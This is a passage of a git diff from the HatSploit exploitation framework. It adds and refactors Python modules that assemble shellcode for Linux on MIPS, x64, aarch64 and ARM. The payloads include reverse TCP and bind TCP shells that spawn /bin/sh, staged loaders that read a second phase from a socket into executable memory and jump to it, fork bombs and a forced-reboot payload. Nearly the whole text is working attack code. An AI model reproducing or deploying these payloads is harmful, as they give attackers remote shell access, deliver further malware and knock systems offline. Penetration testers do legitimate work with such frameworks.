+            sw $t6, -0x1c($sp)
+            lui $t6, 0x{self.rhost.little[:2].hex()}
+            ori $t6, $t6, 0x{self.rhost.little[2:].hex()}
+            sw $t6, -0x1a($sp)
+            addiu $a1, $sp, -0x1e
+            addiu $t4, $zero, -0x11
+            not $a2, $t4
+            addiu $v0, $zero, 0x104a
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            addiu   $a0, $zero, -1
+            addiu   $a1, $zero, {hex(self.length.value + 1)}
+            addi    $a1, $a1, -1
+            addiu   $t1, $zero, -8
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $a3, $zero, 0x802
+            addiu   $t3, $zero, -0x16
+            not     $t3, $t3
+            add     $t3, $sp, $t3
+            sw      $zero, -1($t3)
+            sw      $v0, -5($t3)
+            addiu   $v0, $zero, 0xffa
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            sw      $v0, -4($sp)
+            lw      $a0, -1($sp)
+            lw      $a1, -4($sp)
+            addiu   $a2, $zero, {hex(self.length.value + 1)}
+            addi    $a2, $a2, -1
+            addiu   $v0, $zero, 0xfa3
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += f"""
+            lw      $a0, -4($sp)
+            add     $a1, $v0, $zero
+            addiu   $t1, $zero, -3
+            not     $t1, $t1
+            add     $a2, $t1, $zero
+            addiu   $v0, $zero, 0x1033
+            syscall 0x40404
+        """
+
+        if self.reliable.value:
+            assembly += """
+                slt     $s0, $zero, $a3
+                bne     $s0, $zero, fail
+            """
+
+        assembly += """
+            lw      $s1, -4($sp)
+            lw      $s2, -1($sp)
+            jalr    $s1
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                addiu $a0, $zero, 1
+                addiu $v0, $zero, 0xfa1
+                syscall 0x40404
+            """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/x64/bind_tcp.py b/hatsploit/payloads/phase/linux/x64/bind_tcp.py
new file mode 100644
index 000000000..84e78db46
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/x64/bind_tcp.py
@@ -0,0 +1,147 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux x64 Reverse TCP",
+            'Payload': "linux/x64/reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP connection for Linux "
+                "with x64 architecture and reads next phase."
+            ),
+            'Arch': ARCH_X64,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = f"""
+        start:
+            push    0x9
+            pop     rax
+            xor     rdi, rdi
+            push    {hex(self.length.value)}
+            pop     rsi
+            push    0x7
+            pop     rdx
+            xor     r9, r9
+            push    0x22
+            pop     r10
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += f"""
+            push    rax
+
+            push    0x29
+            pop     rax
+            cdq
+            push    0x2
+            pop     rdi
+            push    0x1
+            pop     rsi
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += f"""
+            xchg    rdi, rax
+            push    rdx
+            mov dword ptr [rsp], 0x{self.rport.little.hex()}0002
+            mov     rsi, rsp
+            push    0x10
+            pop     rdx
+            push    0x32
+            pop     rax
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += """
+            push 0x32
+            pop rax
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += """
+            xor rsi, rsi
+            push 0x2b
+            pop rax
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += f"""
+            xchg    rdi, rax
+            pop     rcx
+            push    0x2d
+            pop     rax
+            pop     rsi
+            push    {hex(self.length.value)}
+            pop     rdx
+            push    0x100
+            pop     r10
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += """
+            jmp rsi
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                push    0x3c
+                pop     rax
+                xor     rdi, rdi
+                syscall
+            """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/phase/linux/x64/reverse_tcp.py b/hatsploit/payloads/phase/linux/x64/reverse_tcp.py
new file mode 100644
index 000000000..7183a50ab
--- /dev/null
+++ b/hatsploit/payloads/phase/linux/x64/reverse_tcp.py
@@ -0,0 +1,121 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux x64 Reverse TCP",
+            'Payload': "linux/x64/reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive reverse TCP connection for Linux "
+                "with x64 architecture and reads next phase."
+            ),
+            'Arch': ARCH_X64,
+            'Platform': OS_LINUX,
+            'Type': REVERSE_TCP,
+        })
+
+        self.reliable = BooleanOption('PhaseReliable', 'no', "Add error checks to payload.",
+                                      False, advanced=True)
+        self.length = IntegerOption('PhaseLength', 4096, "Length of next phase.",
+                                    False, advanced=True)
+
+    def run(self):
+        assembly = f"""
+        start:
+            push    0x9
+            pop     rax
+            xor     rdi, rdi
+            push    {hex(self.length.value)}
+            pop     rsi
+            push    0x7
+            pop     rdx
+            xor     r9, r9
+            push    0x22
+            pop     r10
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += f"""
+            push    rax
+
+            push    0x29
+            pop     rax
+            cdq
+            push    0x2
+            pop     rdi
+            push    0x1
+            pop     rsi
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += f"""
+            xchg    rdi, rax
+            movabs  rcx, 0x{self.rhost.little.hex()}{self.rport.little.hex()}0002
+            push    rcx
+            mov     rsi, rsp
+            push    0x10
+            pop     rdx
+            push    0x2a
+            pop     rax
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += f"""
+            pop     rcx
+            push    0x2d
+            pop     rax
+            pop     rsi
+            push    {hex(self.length.value)}
+            pop     rdx
+            push    0x100
+            pop     r10
+            syscall
+        """
+
+        if self.reliable.value:
+            assembly += """
+                test    rax, rax
+                js      fail
+            """
+
+        assembly += """
+            jmp rsi
+        """
+
+        if self.reliable.value:
+            assembly += """
+            fail:
+                push    0x3c
+                pop     rax
+                xor     rdi, rdi
+                syscall
+            """
+
+        return self.assemble(assembly)
diff --git a/hatsploit/payloads/single/linux/aarch64/shell_bind_tcp.py b/hatsploit/payloads/single/linux/aarch64/shell_bind_tcp.py
new file mode 100644
index 000000000..ab6614328
--- /dev/null
+++ b/hatsploit/payloads/single/linux/aarch64/shell_bind_tcp.py
@@ -0,0 +1,94 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+
+
+class HatSploitPayload(Payload, Handler):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux aarch64 Shell Bind TCP",
+            'Payload': "linux/aarch64/shell_bind_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with AARCH64 architecture."
+            ),
+            'Arch': ARCH_AARCH64,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.shell = Option('SHELL', '/bin/sh', "Executable path.", True,
+                            advanced=True)
+
+    def implant(self):
+        return self.assemble(
+            f"""
+            bl start
+
+            path:
+                .asciz "{self.shell.value}"
+
+            start:
+                mov x1, 0x3
+                mov x2, 0
+                mov x8, 0x18
+
+            dup:
+                mov x0, x12
+                sub x1, x1, 1
+                svc 0
+                cmp x1, 0
+                bne dup
+
+            shell:
+                adr x0, path
+                mov x1, xzr
+                mov x2, xzr
+                mov x8, 0xdd
+                svc 0
+            """
+        )
+
+    def run(self):
+        return self.assemble(
+            f"""
+            bl start
+
+            addr:
+                .short 0x2
+                .short 0x{self.rport.little.hex()}
+                .word 0x0
+
+            start:
+                mov x0, 0x2
+                mov x1, 0x1
+                mov x2, 0
+                mov x8, 0xc6
+                svc 0
+                mov x12, x0
+
+                adr x1, addr
+                mov x2, 0x10
+                mov x8, 0xc8
+                svc 0
+
+                mov x0, x12
+                mov x1, 2
+                mov x8, 0xc9
+                svc 0
+
+                mov x0, x12
+                eor x1, x1, x1
+                eor x2, x2, x2
+                mov x8, 0xca
+                svc 0
+
+                mov x12, x0
+            """
+        ) + self.implant()
diff --git a/hatsploit/payloads/linux/aarch64/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/aarch64/shell_reverse_tcp.py
similarity index 72%
rename from hatsploit/payloads/linux/aarch64/shell_reverse_tcp.py
rename to hatsploit/payloads/single/linux/aarch64/shell_reverse_tcp.py
index 7094a2349..9c18faa19 100755
--- a/hatsploit/payloads/linux/aarch64/shell_reverse_tcp.py
+++ b/hatsploit/payloads/single/linux/aarch64/shell_reverse_tcp.py
@@ -3,36 +3,36 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux aarch64 Shell Reverse TCP",
             'Payload': "linux/aarch64/shell_reverse_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell reverse TCP payload for Linux aarch64.",
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with AARCH64 architecture."
+            ),
             'Arch': ARCH_AARCH64,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "reverse_tcp",
+            'Type': REVERSE_TCP,
         })
 
+        self.shell = Option('SHELL', '/bin/sh', "Executable path.", True,
+                            advanced=True)
+
     def implant(self):
         return self.assemble(
-            self.details['Arch'],
-            """
+            f"""
             bl start
 
             path:
-                .asciz "/bin/sh"
+                .asciz "{self.shell.value}"
 
             start:
                 mov x1, 0x3
@@ -57,7 +57,6 @@ def implant(self):
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             bl start
 
diff --git a/hatsploit/payloads/single/linux/armbe/fork_bomb.py b/hatsploit/payloads/single/linux/armbe/fork_bomb.py
new file mode 100644
index 000000000..f7133b7af
--- /dev/null
+++ b/hatsploit/payloads/single/linux/armbe/fork_bomb.py
@@ -0,0 +1,44 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
+
+
+class HatSploitPayload(Payload, Linux):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux armbe Fork Bomb",
+            'Payload': "linux/armbe/fork_bomb",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload is intended to cause infinite fork() on Linux "
+                "with ARM big-endian architecture."
+            ),
+            'Arch': ARCH_ARMBE,
+            'Platform': OS_LINUX,
+            'Type': ONE_SIDE,
+        })
+
+    def run(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, #1
+                bx r1
+            """
+        ) + self.assemble(
+            """
+            loop:
+                eors r7, r7
+                movs r7, #2
+                svc #1
+                mov r8, r8
+                bl loop
+            """,
+            mode='thumb'
+        )
diff --git a/hatsploit/payloads/single/linux/armbe/shell_bind_tcp.py b/hatsploit/payloads/single/linux/armbe/shell_bind_tcp.py
new file mode 100644
index 000000000..dfc066613
--- /dev/null
+++ b/hatsploit/payloads/single/linux/armbe/shell_bind_tcp.py
@@ -0,0 +1,128 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
+
+
+class HatSploitPayload(Payload, Handler, Linux):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux armbe Shell Bind TCP",
+            'Payload': "linux/armbe/shell_bind_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with ARM big-endian architecture."
+            ),
+            'Arch': ARCH_ARMBE,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.shell = Option('SHELL', '/bin/sh', "Executable path.", True,
+                            advanced=True)
+
+    def implant(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            shell:
+                .asciz "{self.shell.value}"
+            """,
+            mode='thumb'
+        )
+
+    def run(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r0, 2
+                movs r1, 1
+                subs r2, r2, r2
+                lsls r7, r1, 8
+                adds r7, 0x19
+                svc 1
+
+                mov ip, r0
+                adr r1, addr
+                movs r2, 0x10
+                adds r7, 1
+                svc 1
+
+                mov r0, ip
+                movs r1, 2
+                adds r7, 2
+                svc 1
+
+                mov r0, ip
+                eors r1, r1
+                eors r2, r2
+                adds r7, 1
+                svc 1
+
+                mov ip, r0
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            addr:
+                .short 0x2
+                .short 0x{self.rport.big.hex()}
+                .word 0x0
+
+            shell:
+                .asciz "/bin/sh"
+            """,
+            mode='thumb'
+        )
diff --git a/hatsploit/payloads/single/linux/armbe/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/armbe/shell_reverse_tcp.py
new file mode 100644
index 000000000..773a015c0
--- /dev/null
+++ b/hatsploit/payloads/single/linux/armbe/shell_reverse_tcp.py
@@ -0,0 +1,116 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
+
+
+class HatSploitPayload(Payload, Handler, Linux):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux armbe Shell Reverse TCP",
+            'Payload': "linux/armbe/shell_reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with ARM big-endian architecture."
+            ),
+            'Arch': ARCH_ARMBE,
+            'Platform': OS_LINUX,
+            'Type': REVERSE_TCP,
+        })
+
+        self.shell = Option('SHELL', '/bin/sh', "Executable path.", True,
+                            advanced=True)
+
+    def implant(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            shell:
+                .asciz "{self.shell.value}"
+            """,
+            mode='thumb'
+        )
+
+    def run(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r0, 2
+                movs r1, 1
+                subs r2, r2, r2
+                lsls r7, r1, 8
+                adds r7, 0x19
+                svc 1
+
+                mov ip, r0
+                adr r1, addr
+                movs r2, 0x10
+                adds r7, 2
+                svc 1
+
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            addr:
+                .short 0x2
+                .short 0x{self.rport.big.hex()}
+                .word 0x{self.rhost.big.hex()}
+
+            shell:
+                .asciz "/bin/sh"
+            """,
+            mode='thumb'
+        )
diff --git a/hatsploit/payloads/single/linux/armle/fork_bomb.py b/hatsploit/payloads/single/linux/armle/fork_bomb.py
new file mode 100755
index 000000000..092037303
--- /dev/null
+++ b/hatsploit/payloads/single/linux/armle/fork_bomb.py
@@ -0,0 +1,44 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
+
+
+class HatSploitPayload(Payload, Linux):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux armle Fork Bomb",
+            'Payload': "linux/armle/fork_bomb",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload is intended to cause infinite fork() on Linux "
+                "with ARM little-endian architecture."
+            ),
+            'Arch': ARCH_ARMLE,
+            'Platform': OS_LINUX,
+            'Type': ONE_SIDE,
+        })
+
+    def run(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, #1
+                bx r1
+            """
+        ) + self.assemble(
+            """
+            loop:
+                eors r7, r7
+                movs r7, #2
+                svc #1
+                mov r8, r8
+                bl loop
+            """,
+            mode='thumb'
+        )
diff --git a/hatsploit/payloads/single/linux/armle/shell_bind_tcp.py b/hatsploit/payloads/single/linux/armle/shell_bind_tcp.py
new file mode 100755
index 000000000..3e3133344
--- /dev/null
+++ b/hatsploit/payloads/single/linux/armle/shell_bind_tcp.py
@@ -0,0 +1,128 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
+
+
+class HatSploitPayload(Payload, Handler, Linux):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux armle Shell Bind TCP",
+            'Payload': "linux/armle/shell_bind_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with ARM little-endian architecture."
+            ),
+            'Arch': ARCH_ARMLE,
+            'Platform': OS_LINUX,
+            'Type': BIND_TCP,
+        })
+
+        self.shell = Option('SHELL', '/bin/sh', "Executable path.", True,
+                            advanced=True)
+
+    def implant(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            shell:
+                .asciz "{self.shell.value}"
+            """,
+            mode='thumb'
+        )
+
+    def run(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r0, 2
+                movs r1, 1
+                subs r2, r2, r2
+                lsls r7, r1, 8
+                adds r7, 0x19
+                svc 1
+
+                mov ip, r0
+                adr r1, addr
+                movs r2, 0x10
+                adds r7, 1
+                svc 1
+
+                mov r0, ip
+                movs r1, 2
+                adds r7, 2
+                svc 1
+
+                mov r0, ip
+                eors r1, r1
+                eors r2, r2
+                adds r7, 1
+                svc 1
+
+                mov ip, r0
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            addr:
+                .short 0x2
+                .short 0x{self.rport.little.hex()}
+                .word 0x0
+
+            shell:
+                .asciz "/bin/sh"
+            """,
+            mode='thumb'
+        )
diff --git a/hatsploit/payloads/single/linux/armle/shell_reverse_tcp.py b/hatsploit/payloads/single/linux/armle/shell_reverse_tcp.py
new file mode 100755
index 000000000..2cdf79e63
--- /dev/null
+++ b/hatsploit/payloads/single/linux/armle/shell_reverse_tcp.py
@@ -0,0 +1,116 @@
+"""
+This payload requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.lib.core.payload.basic import *
+from hatsploit.lib.core.payload.linux import Linux
+
+
+class HatSploitPayload(Payload, Handler, Linux):
+    def __init__(self):
+        super().__init__({
+            'Name': "Linux armle Shell Reverse TCP",
+            'Payload': "linux/armle/shell_reverse_tcp",
+            'Authors': [
+                "Ivan Nikolskiy (enty8080) - payload developer",
+            ],
+            'Description': (
+                "This payload creates an interactive reverse TCP shell for Linux "
+                "with ARM little-endian architecture."
+            ),
+            'Arch': ARCH_ARMLE,
+            'Platform': OS_LINUX,
+            'Type': REVERSE_TCP,
+        })
+
+        self.shell = Option('SHELL', '/bin/sh', "Executable path.", True,
+                            advanced=True)
+
+    def implant(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            shell:
+                .asciz "{self.shell.value}" 
+            """,
+            mode='thumb'
+        )
+
+    def run(self):
+        return self.assemble(
+            """
+            start:
+                add r1, pc, 1
+                bx r1
+            """
+        ) + self.assemble(
+            f"""
+            start:
+                movs r0, 2
+                movs r1, 1
+                subs r2, r2, r2
+                lsls r7, r1, 8
+                adds r7, 0x19
+                svc 1
+
+                mov ip, r0
+                adr r1, addr
+                movs r2, 0x10
+                adds r7, 2
+                svc 1
+
+                movs r7, 0x3f
+                movs r1, 2
+
+            dup:
+                mov r0, ip
+                svc 1
+
+                subs r1, 1
+                bpl dup
+
+                adr	r0, shell
+                subs r2, r2, r2
+                push {{r0, r2}}
+                mov r1, sp
+                movs r7, 0xb
+                svc 1
+
+                mov r8, r8
+
+            addr:
+                .short 0x2
+                .short 0x{self.rport.little.hex()}
+                .word 0x{self.rhost.little.hex()}
+
+            shell:
+                .asciz "/bin/sh" 
+            """,
+            mode='thumb'
+        )
diff --git a/hatsploit/payloads/linux/generic/fork_bomb.py b/hatsploit/payloads/single/linux/generic/fork_bomb.py
similarity index 77%
rename from hatsploit/payloads/linux/generic/fork_bomb.py
rename to hatsploit/payloads/single/linux/generic/fork_bomb.py
index dae7105f1..8e8fb9b1a 100755
--- a/hatsploit/payloads/linux/generic/fork_bomb.py
+++ b/hatsploit/payloads/single/linux/generic/fork_bomb.py
@@ -3,14 +3,12 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
+from hatsploit.lib.core.payload.basic import *
 
 
 class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux generic Fork Bomb",
             'Payload': "linux/generic/fork_bomb",
             'Authors': [
@@ -19,8 +17,7 @@ def __init__(self):
             'Description': "Linux generic fork bomb.",
             'Arch': ARCH_GENERIC,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
diff --git a/hatsploit/payloads/linux/mipsbe/reboot.py b/hatsploit/payloads/single/linux/mipsbe/reboot.py
similarity index 64%
rename from hatsploit/payloads/linux/mipsbe/reboot.py
rename to hatsploit/payloads/single/linux/mipsbe/reboot.py
index befa3ccfc..95fddbcea 100755
--- a/hatsploit/payloads/linux/mipsbe/reboot.py
+++ b/hatsploit/payloads/single/linux/mipsbe/reboot.py
@@ -3,30 +3,28 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Assembler):
+class HatSploitPayload(Payload):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux mipsbe Reboot",
             'Payload': "linux/mipsbe/reboot",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Reboot payload for Linux mipsbe.",
+            'Description': (
+                "This payload is intended to force reboot Linux "
+                "with MIPS big-endian architecture."
+            ),
             'Arch': ARCH_MIPSBE,
             'Platform': OS_LINUX,
-            'Rank': "low",
-            'Type': "one_side",
+            'Type': ONE_SIDE,
         })
 
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             """
             start:
                 lui $a2, 0x4321
diff --git a/hatsploit/payloads/linux/mipsbe/shell_bind_tcp.py b/hatsploit/payloads/single/linux/mipsbe/shell_bind_tcp.py
similarity index 83%
rename from hatsploit/payloads/linux/mipsbe/shell_bind_tcp.py
rename to hatsploit/payloads/single/linux/mipsbe/shell_bind_tcp.py
index 01ed78de0..0492bd2a1 100755
--- a/hatsploit/payloads/linux/mipsbe/shell_bind_tcp.py
+++ b/hatsploit/payloads/single/linux/mipsbe/shell_bind_tcp.py
@@ -3,31 +3,62 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.payload.basic import *
-from pex.assembler import Assembler
-from pex.socket import Socket
+from hatsploit.lib.core.payload.basic import *
 
 
-class HatSploitPayload(Payload, Handler, Assembler, Socket):
+class HatSploitPayload(Payload, Handler):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Name': "Linux mipsbe Shell Bind TCP",
             'Payload': "linux/mipsbe/shell_bind_tcp",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - payload developer',
+                "Ivan Nikolskiy (enty8080) - payload developer",
             ],
-            'Description': "Shell bind TCP payload for Linux mipsbe.",
+            'Description': (
+                "This payload creates an interactive bind TCP shell for Linux "
+                "with MIPS big-endian architecture."
+            ),
             'Arch': ARCH_MIPSBE,
             'Platform': OS_LINUX,
-            'Rank': "high",
-            'Type': "bind_tcp",
+            'Type': BIND_TCP,
         })
 
+    def implant(self):
+        return self.assemble(
+            """
+            start:
+                addiu $s1, $zero, -3
+                not $s1, $s1
+                lw $a0, -1($sp)
+
+            dup:
+                move $a1, $s1
+                addiu $v0, $zero, 0xfdf
+                syscall 0x40404
+
+                addiu $s0, $zero, -1
+                addi $s1, $s1, -1
+                bne $s1, $s0, dup
+
+                slti $a2, $zero, -1
+                lui $t7, 0x2f2f
+                ori $t7, $t7, 0x6269
+                sw $t7, -0x14($sp)
+                lui $t6, 0x6e2f
+                ori $t6, $t6, 0x7368
+                sw $t6, -0x10($sp)
+                sw $zero, -0xc($sp)
+                addiu $a0, $sp, -0x14
+                sw $a0, -8($sp)
+                sw $zero, -4($sp)
+                addiu $a1, $sp, -8
+                addiu $v0, $zero, 0xfab
+                syscall 0x40404
+            """
+        )
+
     def run(self):
         return self.assemble(
-            self.details['Arch'],
             f"""
             start:
                 addiu $sp, $sp, -0x20
@@ -69,32 +100,5 @@ def run(self):
                 syscall 0x40404
 
                 sw $v0, -1($sp)
-                addiu $s1, $zero, -3
-                not $s1, $s1
-                lw $a0, -1($sp)
-
-            dup:
-                move $a1, $s1
-                addiu $v0, $zero, 0xfdf
-                syscall 0x40404
-
-                addiu $s0, $zero, -1
-                addi $s1, $s1, -1
-                bne $s1, $s0, dup
-
-                slti $a2, $zero, -1
-                lui $t7, 0x2f2f
-                ori $t7, $t7, 0x6269
-                sw $t7, -0x14($sp)
-                lui $t6, 0x6e2f
-                ori $t6, $t6, 0x7368
-                sw $t6, -0x10($sp)
-                sw $zero, -0xc($sp)
-                addiu $a0, $sp, -0x14
-                sw $a0, -8($sp)
-                sw $zero, -4($sp)
-                addiu $a1, $sp, -8
